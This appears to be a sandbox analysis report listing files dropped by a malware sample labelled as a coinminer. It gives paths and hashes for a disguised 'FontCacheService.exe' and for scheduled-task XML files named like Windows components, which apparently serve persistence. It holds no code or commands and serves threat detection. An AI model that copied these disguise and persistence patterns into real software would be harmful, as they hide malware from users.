SHA512 8cd8cd06a71e3e1e4e636120a6fcdcce154230840f7bd7901ed9caef269d47841e83ee95998f3f4eb97a171155f65cc5c6f6f6449f3561594c3480be5ab97c09
MD5 SHA1 SHA512

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 b58f994c644f7b4a831e889630bfd7ca0860aeb1e0920dc0f5d4928585a9dbab
MD5 3bfc414667e1ebc31e9259fa1db290fa
SHA1 9bff989429779efef334e5524a362e7b6ff266cb
SHA512 e6cb000e8f900132f7dc661f943b8e91e945d171157ff3289b91e9d79f70230e363ed65b7ec97f451b376cf4706a14de9a86193e72dcea8fe3aa8c86c6117d13
TLSH
T1E371BF323375B0D4C9567F072A2819C063BF4396EA98AF4CB25C621ED92751B9B122F7
MD5 SHA1 SHA512 TLSH

Submit Download

FontCacheService.exe

Path C:\Users\Admin\AppData\Local\Microsoft\FontCache\Data\FontCacheService.exe
Size 5.9MB
SHA256 6f60ac58b3df76896e317d58b4757fd70ca8b98a986e45923bc3748bc8e325d5
MD5 631fa80042f3e9ae45d885217ecaa325
SHA1 c80eb6a5e47e0de14990d564d6d41c977a8e1aef
SHA512 b67ed94b826caec313c40c6f359bfc05ab11ba80723a5ed937f7d0e781708c549113bc5b38af37b1737a0092fc90b237507148c04dc06e1ecf04f007495d587b
SSDEEP 49152:Zw5raZ0jfC6YEMJlHE0LAgCi9dRNIE4vtnP/JLvpWOsiKfK1K6n/Q5RJ5EB:ZwhmO+0X+cn/8xE
TLSH
T111564A07FCA525E9C0AED1348AB69653BB617C890B2127D31B90F6383F72BD09DB9354
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

a.pid

Path C:\Users\Admin\AppData\Local\Microsoft\FontCache\Data\a.pid
Size 4B
SHA256 1eab3dfd35a341f4b06d518d53f3f4701e69fedff5c65230df8fe475ac85b50c
MD5 4a4526b1ec301744aba9526d78fcb2a6
SHA1 a6965a9286ae7ae97ce50be0e184e26a252cd6de
SHA512 fdb884f0693bbbfcd7631f8e72947d40702e1be77f4d1307bfb0d4a2051266fce9f1fa569cadbaa217a5f4be3a18f3b3ed4f035b0ce91c64a95c893081fd0b53
MD5 SHA1 SHA512

Submit Download

fc.log

Path C:\Users\Admin\AppData\Local\Microsoft\FontCache\Data\fc.log
Size 112B
SHA256 9b70c7b9d6ce99ccd11490b36b4827d41375a1b27324af78d138a0fa663e4571
MD5 fd128a6f3b6694545cff0371e3077676
SHA1 f3b31a583d180276b815a9b8f9c3316eac5c6872
SHA512 5cd71752f31a7a78c64dbaa2b18ae2614c74a91b1fb551c336411a4a46908eeb8b56161bc20a263fb3770a0708865e9b045a8d36f9429c7821ef931de7d8d06c
TLSH
T18DB002C1249948746E5B204AD44572145E79761256196D8D1D70924B1919C5B5610469
MD5 SHA1 SHA512 TLSH

Submit Download

fc.log

Path C:\Users\Admin\AppData\Local\Microsoft\FontCache\Data\fc.log
Size 210B
SHA256 6e46077c84aa8844db809e8af601fd2fc64369ed1fee2a9e963b7af1823b4817
MD5 0677220b0265ff7056f849c5a09cf855
SHA1 801d17075940048194a91a1041c9bca38517efb9
SHA512 1b544458511efc2c7eac9e58d4b063db814c340c9ae663ffd00b38e5581937861ef138daafaa8f3ab43b29977209590ad22e05bf1c0c50cac91bc2ee03e9e0e9
TLSH
T1F9D0E9C124A94C747F6B208AD48132149E7D36269659AC8D2D70924B0D26C4B56504A9
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 1e9357821d7440ca814b66378a9e9df9b7d0b53f5fd0009877967c3f7397b115
MD5 093235eb8635946af1ad8756d3abc396
SHA1 d6f6dde0aa785a8667e64a29e59bc0188c8ac143
SHA512 7d0d519c6df5a6bf503653646fd038e5d90402370ca20cd04bae880245d5d7dae51f10ded05ebb146828c44ead8f81588eb7283e01e87cb9d1d27c926fb2d7ed
TLSH
T17C216527B39CC821DC96153A209CAC11327683C7809ECF8F6EC4D224A07FA84CB71594
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 c4b4f6ecac0f8337b39ee9c82e6d125a9e19697bb75bd7f7aefd147df1e58392
MD5 d0510e53e1744f2e398026ea8ef3717e
SHA1 3dd36ee33b5fcd15ac92bfc9380cb5901add5827
SHA512 1c16d12820511ef19e4aceb29ba90fff43885ba671baeac479b426b58104a6301e70b5c951d06a4fb9e1d7f0821ab9042b73f56619b836228a34d342ec2a5b16
TLSH
T12F216527B39CC921CC99153A209CAC1172B683C7809ECF8F6EC0D224A17FA84CB61590
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 66a67fa0a1250929073cba832220abbc62d93144dca58babbecc30632ae42853
MD5 1c6495a58a1b0679c76dc4fe2df2c3cb
SHA1 67eccd75add684d2267766c31716c17a299cfd19
SHA512 68beb0cd075196453e5219352170d33ff7799d777669d29b0ae2e6fdccd7423f2bb7291ec6ca5371b76aab121059a592380018eeef9cdc6391e2e6aed32e6757
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
MD5 446dd1cf97eaba21cf14d03aebc79f27
SHA1 36e4cc7367e0c7b40f4a8ace272941ea46373799
SHA512 a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_phmemgvm.cfq.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_phmemgvm.cfq.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

fcd_task.xml

Path C:\Users\Admin\AppData\Local\Temp\fcd_task.xml
Size 1KB
SHA256 6c1da7fca34e1172447642d15d0569b174c70c315ffb3167a1e9e1081764d397
MD5 cf4c7baed6d5d5e7db023981f906488e
SHA1 9f2934101052f858ac9850d401dede8c68947a08
SHA512 580dac75a7a63ba082c2aa8dbaf9e4b37a1b6582fc033a7fd1b8d8035395f6762293f0454a577725241545a040722a0a631785516c59f9d8f82daadccf612184
TLSH
T1501102B0E5F1B217A6125620474157822FB5A7B7453B8079F4CC4828BFCEA8D701362B
MD5 SHA1 SHA512 TLSH

Submit Download

hc-task-HCCacheGuard.xml

Path C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheGuard.xml
Size 1KB
SHA256 a9e4b68124d22173a6f6b9309d117bc6f7ce235b2cabd491d6d1700609a90d7f
MD5 d88d1265f0087346dcec0ef936eb9ebc
SHA1 3149e609cc29884377db6d9297ef6daf3665e148
SHA512 c152929f379842ee7d6c05b2cc8b40a300cacf3badd5a9c63504ec02c390a2ef9a8fe31ede9f44edd5b964d403f46db2fabd653204bc49158035311f7530952b
TLSH
T11F210364E8F4B317BB511524479156C35F659373056A4075F8CC4C687FCF68E601379B
MD5 SHA1 SHA512 TLSH

Submit Download

hc-task-HCCacheGuardPulse.xml

Path C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheGuardPulse.xml
Size 1KB
SHA256 95a6ac1731653655dcf554f8520ff1d79a6b94e9a9475f53ddcd08e9130c895a
MD5 79e7d4761a97035d922fd065ccb5dc35
SHA1 fd822a4bbf6ed3546fdeceac5e2636cb7a9817c2
SHA512 59bd84645d52483b18141b81baf6c119b99e42c31dadc72dd7a8cce83b3d3981f5324cb85ba91625e63cf5c153f789f552687c7e4c719203d8e60f67e0bb22e5
TLSH
T18C212DA0E9F0A317E71205348791A6C31F76837301AB1031F9CC49687FCFA4AA0232AB
MD5 SHA1 SHA512 TLSH

Submit Download

hc-task-HCCacheHost.xml

Path C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheHost.xml
Size 1KB
SHA256 d189f8637c699a0fcdc2e6de287ff7e9b8dc591eb04763053cad9f85374f0f06
MD5 50e6ac72af5690811a27e5378529a1a2
SHA1 f7d4b88435e07fc25c173dbe4b1c30b43496df49
SHA512 6f9ae3173175bfb083da47b07d0612e900b6a6c4ff9b20e7faeb7abca0fa2aa5b9a0e21e264715a77abb7fcc75b14421b6ce91bec9161e7b3121791733b7efee
TLSH
T1EC2100A4E8F4B313BB521624438296835FA5937341764075F8CC08687F8EA8A60236AB
MD5 SHA1 SHA512 TLSH

Submit Download

hc-task-HCCacheHostPulse.xml

Path C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheHostPulse.xml
Size 1KB
SHA256 795eeb7a60d8ff54001a1afa2c12160c547f09176d3bbcc921cd3c7b04cea288
MD5 c83d4347d0b015655eac9fb56f526e1f
SHA1 9793b80cfbd470b76866e683dda8b1a4dba08285
SHA512 0bb7905eabed580427d90b1f9a7b3c2f2fcce75140223fe566eaacf4e72fa7ba736add9ff107b89eea5d828a2e3de718421215a98b4a43236f170be70b9a5345
TLSH
T19921FDA0E9F5A317F61345348791A6835F76937341A74075F8CC496C7FCFA8AA0232AB
MD5 SHA1 SHA512 TLSH

Submit Download

hc-task-HCCacheWatch.xml

Path C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheWatch.xml
Size 1KB
SHA256 50a071389c809f8740684d47d302b958943b4650e6a427f323b6760b3edda918
MD5 9242f5bdc22dfd6cfa0cb9619f6f6ae6
SHA1 85e24264253f2bf965c2645bcf02aeeb1d2d7635
SHA512 a81aaafcdfdb7b62bf4a675f6c3fce01811ab0ac64d89a244247393fd2b2ce3351ec561034f5eaf8b1541773b4ba7cc26dea213c5977e269f7d942a193665540
TLSH
T1DE21D364E8F0B317FB525624478156835FA5937341664075F8CC4D687FCF68A602369B
MD5 SHA1 SHA512 TLSH

Submit Download

hc-task-Microsoft_Windows_Wininet_CacheHostAux.xml

Path C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHostAux.xml
Size 1KB
SHA256 0bf4e939996c4c87ccb93746229ef6212b3b47f429c6d23ae2d1ceaa9484c244
MD5 2d771f830ae782d9009c6605ba10a271
SHA1 818abd5d3431e64a6336d3de394e285b05a4ffba
SHA512 4f16dd61d8f1cdfa2231d9a9840cce970f49c00d33d0bc940c97a85a250a8e19bbd5eed71b7ab0fa06e9699c6780e2bae54c9432662fd463cfd1f002c55f8350
TLSH
T17C210364E8F4B317FB521624438156835FA99373417640B5F8CC08687FCFA8A602369B
MD5 SHA1 SHA512 TLSH

Submit Download

hc-task-Microsoft_Windows_Wininet_CacheHostAuxPulse.xml

Path C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHostAuxPulse.xml
Size 1KB
SHA256 76906693db8d133b184b570e6a716f5843068deb1026abfbf096b25d8f38789c
MD5 5712c09a5f6b9c8cc3ceed807475a223
SHA1 e8407180a646573aa038a11f406018db4a1a5aa7
SHA512 2ee7c79d6a806a8b520c500766bcc0193d5df3d72c2e3446de1d0744038f11a27121a5152b42e106a8a1c1b93816dc8091dee1596db913862a7b644856827250
TLSH
T19E21FDA0E9F5A317F61345348791A6831F75937341A74075F8CC496C7FCFA8AA0232AB
MD5 SHA1 SHA512 TLSH

Submit Download

4106ee14-7758-4bb2-a64f-b0901b10f015.tmp

Path C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView\4106ee14-7758-4bb2-a64f-b0901b10f015.tmp
Size 1KB
SHA256 3219f61c16b1e1b28531c8771a7a4d082c5f72f03e959182ff6e658e60cf963a
MD5 d4823b3971487f7db520761785b7ab0c
SHA1 18d793c6b4f38fcb91e3815aaeb96a0c26203ebf
SHA512 5901fb3f38ff9af8f43703a617458537bfb0d0ac85d9c6d9491e8f28bc23de0b993edbf46a6a2decfb0b83369cad235bb9e827a5a0a896142628365f0acf912b
TLSH
T1333187B194A0BE33AC81D9C5B551774F9D241026C1514E9CE1DE971D02FB29C863BD36
MD5 SHA1 SHA512 TLSH

Submit Download

60a83e77-ae2c-40e0-bcbb-b7a9c8ea49c4.tmp

Path C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView\60a83e77-ae2c-40e0-bcbb-b7a9c8ea49c4.tmp
Size 4KB
SHA256 0c1aeefee32fb8f1c51f59072d034038c49aac3a0c4d1dcb2a65132e189d831e
MD5 ac75b0d2b007a4ee68375f19572443b8
SHA1 e85fd2ccda0e37a8030f9fa7bf21b95bc9b257e0
SHA512 601254d0788e4d3a325968e24539e226c1a98b2e018020e4f4347351d16f065d51bb7b763c9d7d32f16d67dc272975a64d5fd36b4fc11d6d7ecbc6256997d368
SSDEEP 96:zukzpNkCEFQyzQHfw8HM7oBz8Frh/cInURoDoto+59rSGD9o9BDBZFJ66gVZJhTH:zBpNb9y8Y8HM7VooDUh/UVZM9H
TLSH
T1A2918232A570A9378DF6C985FC863B06E6A86023D5D52FE9D9ED1F0C02EB3981342D17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

manifest.fingerprint

Path C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView\AutoLaunchProtocolsComponent\1.0.0.12\manifest.fingerprint
Size 66B
SHA256 e84df839eb3dee2a10ba66de65c372c6e2bba0cbab46a39af041f4eeaab1ffe8
MD5 06d2b48de0edcb3e022ed639f0fb0085
SHA1 32f93d5a76998c407087269794026d1ea028828f
SHA512 3c883d4c342f95f28e4a76c73ce7151e8a76d6f5b2c86f90a9ee7f9976ae7e1be94c963489b326d2ff5f7c6423b29552d9aa09b65c17396c2f66ce271fe19506
TLSH
T1F3A022E32CE8880EACEC0AAB020A0AFA0ECC8000020280C80008080220028F0008CA8C
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView\AutoLaunchProtocolsComponent\1.0.0.12\manifest.json
Size 135B
SHA256 bf066a2cf10074e847bef7c066a9c84deada6586412e181cb417c6426a5d60a4
MD5 616eb6b585f16811dc5db5063e088cd7
SHA1 fc50aa7b747f9367d2b177eab7ab12cdafdeea85
SHA512 cdaf55640f0279c1cee06338912a07bc8bc8cb3780f70202363e25b327eb94a524c0acdd25cc2b22fbb1895d32af888857b17b3f0d7a2064f51ccdf1bab57f79
TLSH
T1BFC04C668D41DEAB00A647A56B295315E23B4B4B5044400A7AB5429C1A285964271844
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView\Crashpad\settings.dat
Size 280B
SHA256 365d29d73427beae470b215916c4b0c3b11c9c682b0a891d77e49f4aefb65591
MD5 acc25c9823fec94f04d91c8ded7f0881
SHA1 169ad893fd89ab995cb3e04b26db6c5212873bfd
SHA512 04b0a33e7b49563053ae8ae8dc334fbabc082521fd3f645e455df306628df9a3038ba2958f6ede57047237060576c30d3576da63872eb5073fcfa8f9604007de
TLSH
T179D0241373034174C31031F30143F50C1C00D1CF40054144543CFD1D1F5C0501D17441
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView\Crashpad\settings.dat
Size 280B
SHA256 9499b402fa303e0fbda87b5b2dbf278c845aef009a3f79267b87f708da49f012
MD5 4e1e1709454dc393f719316d618007cd
SHA1 ff9d6721ae8f89c6ad1173cb1a0dc48deabe6f03
SHA512 9182ac2982810b68f3bc9b9291e5952995f92d9aaeb85a272ae7903f3488ea5960a2a323d3e59a23442362191e3e43c96da2ef56f9a620da7271b8588ce39549
MD5 SHA1 SHA512

Submit Download

throttle_store.dat

Path C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView\Crashpad\throttle_store.dat
Size 20B
SHA256 41c91a9c93d76295746a149dce7ebb3b9ee2cb551d84365fff108e59a61cc304
MD5 9e4e94633b73f4a7680240a0ffd6cd2c
SHA1 e68e02453ce22736169a56fdb59043d33668368f
SHA512 193011a756b2368956c71a9a3ae8bc9537d99f52218f124b2e64545eeb5227861d372639052b74d0dd956cb33ca72a9107e069f1ef332b9645044849d14af337
MD5 SHA1 SHA512

Submit Download

666e2f74-1f9d-4f06-b005-4ced00c64efe.tmp

Path C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView\Default\666e2f74-1f9d-4f06-b005-4ced00c64efe.tmp
Size 6KB
SHA256 6c0538083ba1b80c82aec51678250c880ec127dd3dd6bb9308b772e18f68713b
MD5 87f481711a60375f3397abf2f4e34575
SHA1 55dc01e65864a63730f018105fa3f58eed0dc298
SHA512 7b6b38469b40e594ff9ac5a53ce9da8f8c5a84cae42ab8a91338f78514a0d6df6c7f040183518ab43927c32c35179600588a391bc9aadaa2f708790898fc41ba
SSDEEP 96:st9I05sIwN6Mb9lffqdwZ8i0vhEQzkcnm/7qx+WVHMSm+uecS+sI1iYRQjK7+gTK:ste0G9fNZ8paMm/S+WiQ+dwYRbJMM8
TLSH
T1FED1D8029F78A97B8CCBE619BE35FB06D6FA102261D50E58EBFC851C04D66CD620790B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

95260dde-2625-40b4-bcf4-fef673d569a1.tmp

Path C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView\Default\95260dde-2625-40b4-bcf4-fef673d569a1.tmp
Size 6KB
SHA256 25263824bfc4f9cd6b310751c4120a19cc6a02378991915d4589656344e7f49d
MD5 8061544d38021662e8806cfe4c252335
SHA1 6e93bc7ea8a61908d65633fe33921f15a520b8ce
SHA512 6dc47eca127fb215f0b6fd8dc90187a8edbf81d23c1169c98a33f038ede0475f640f0eab17c454ab06b0200d09fe276f5e4a8afc63bd48eddf449e499cdb8620
SSDEEP 96:st9I05sIwN6Mb9yffqdwZ8i0vhEQzkcnm/7qx+WVHMSm+uecS+sI1iYRQjK7+gj9:ste0G6fNZ8paMm/S+WiQ+dwYRbh4MMC
TLSH
T19CE1CB025F786D7B9CCBF619BD35BB16E2FA102261D50E58EBFC861C04D66CD620790B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

temp-index

Path C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView\Default\Code Cache\js\index-dir\temp-index
Size 48B
SHA256 5ffa68e42da815bf0f54bac1d9409f68564ba87b9e6e971c034359e40774d8f1
MD5 e247c2284941583a08df379b48547a82
SHA1 8d7222f3de3fd7871a0df944caaa7c574df4ee2f
SHA512 e16499a3e5ce77fa917b9dc0ab54d6bb4da1823104b73e6adb687895e2ecd077b6ad57f8b8ac24581608b3db7ca40194fab6038d2b50cdc360ec8cfc10299c2a
MD5 SHA1 SHA512

Submit Download

temp-index

Path C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView\Default\Code Cache\js\index-dir\temp-index
Size 96B
SHA256 f28b9a76132065fa83e2ed71a81f269b68880008c067b294bc84d92f2b431e5f
MD5 447bbeb821fb60dc6407739e8deec153
SHA1 0a73f7a1dd13f54b46fa74a843086a733223b5de
SHA512 66c18a12b77c640291b7c54c66a393cf062b10230b99c963f25103b6270408e7ae7848b18831aa7a66fc77db7f0bec458d28512e3ee30797f89081bac6d48f51
TLSH
T14FB01100C80AA283CE208EB0A8E2220030A08F280E220B02808820AB88B33C2E082A20
MD5 SHA1 SHA512 TLSH

Submit Download

index

Path C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView\Default\DawnGraphiteCache\index
Size 256KB
SHA256 20b7c98e90824ee2e2c1b6345808863009e26e925c7340b7efa4bad723b2944c
MD5 c5f4a53035994018275cf4a75b42264e
SHA1 8d4084791d3ed2c0c2bbcd671a1bf0ba6a1ea0f4
SHA512 c9a91f29ae99d74d7682add6896c74359de9413b5c9ce8acf772e584b475868b59f23078516f4b64c32f4d15a1934077ef5f30fb41b632650c8e038bb45d0a52
SSDEEP 3:LstlNllkll/lkvbKlX:LsX3lEtmqX
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_0

Path C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView\Default\GPUCache\data_0
Size 8KB
SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
MD5 cf89d16bb9107c631daabf0c0ee58efb
SHA1 3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b
SHA512 8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0
SSDEEP 3:MsFl:/F
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_1

Path C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView\Default\GPUCache\data_1
Size 264KB
SHA256 902f30c1fb0597d0734bc34b979ec5d131f8f39a4b71b338083821216ec8d61b
MD5 d0d388f3865d0523e451d6ba0be34cc4
SHA1 8571c6a52aacc2747c048e3419e5657b74612995
SHA512 376011d00de659eb6082a74e862cfac97a9bb508e0b740761505142e2d24ec1c30aa61efbc1c0dd08ff0f34734444de7f77dd90a6ca42b48a4c7fad5f0bddd17
SSDEEP 3:MsEllllkEthXllkl2:/M/xT02
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_2

Path C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView\Default\GPUCache\data_2
Size 8KB
SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
MD5 0962291d6d367570bee5454721c17e11
SHA1 59d10a893ef321a706a9255176761366115bedcb
SHA512 f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed
SSDEEP 3:MsHlDll:/H
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_3

Path C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView\Default\GPUCache\data_3
Size 8KB
SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
MD5 41876349cb12d6db992f1309f22df3f0
SHA1 5cf26b3420fc0302cd0a71e8d029739b8765be27
SHA512 e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e
SSDEEP 3:MsGl3ll:/y
MD5 SHA1 SHA512 SSDEEP

Submit Download

59a29249-ba1b-4162-ab1a-1e3717466430.tmp

Path C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView\Default\Network\59a29249-ba1b-4162-ab1a-1e3717466430.tmp
Size 821B
SHA256 86d8b07bf703f2128850476711efb49b89f8c8584fdf7c8d9aad59f525303ca6
MD5 d5539e1da741401237f375386affbda7
SHA1 b851fcc2378878ecb2b61f2850bf803006a59af8
SHA512 d61bb2d975d0a6b846c12e5651fb09b27dccce5b45a8f0140da85c63cfdcfb30190da8398fa8ddbfda0c2716245620b45643a6c8409cf7f6b0ff660ebd1ee512
TLSH
T1A8016BB2C3E4C67D894112F437387823CD2E151912282E67CDE9EBEA9BE1475DA1060F
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView\Default\Network\Network Persistent State
Size 59B
SHA256 226eec4486509917aa336afebd6ff65777b75b65f1fb06891d2a857a9421a974
MD5 2800881c775077e1c4b6e06bf4676de4
SHA1 2873631068c8b3b9495638c865915be822442c8b
SHA512 e342407ab65cc68f1b3fd706cd0a37680a0864ffd30a6539730180ede2cdcd732cc97ae0b9ef7db12da5c0f83e429df0840dbf7596aca859a0301665e517377b
TLSH
T164A0026A99622D881B4A83902B18B547807B0445230982FDE43877A8415616D5C2C855
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView\Default\Preferences
Size 6KB
SHA256 964f7d721835827dd4882c70a80ef1293acd592ee7a89ad4bc2653f5be566d3b
MD5 a9be885faaef5c9a4e5aa4c4f00d835e
SHA1 e6bbf42f31fe8cecd49865ff43e478b83ba08b52
SHA512 37c911a8e7ea42094ad27ebb2ba5b31f63a96a4710fcd148dae5979f18cf0dd6a037b9276cba17277e81661e59852ee80702fc9f4324de432cc4f10cd3d33a1e
SSDEEP 96:st9I05sIwN6Mb9lffHKdZ8i0oEQzkcnm/7qx+WVHMSm+uecS+sI1idQjK7+gTt1m:ste0G9fUZ8pFMm/S+WiQ+dwdbJMM8
TLSH
T1DDD1C9029F78697B8CCBE61DB935BB06D2FA102161D50E58EBFD861C04D56CD620790B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView\Default\Site Characteristics Database\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView\Default\Sync Data\LevelDB\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView\Local State
Size 1KB
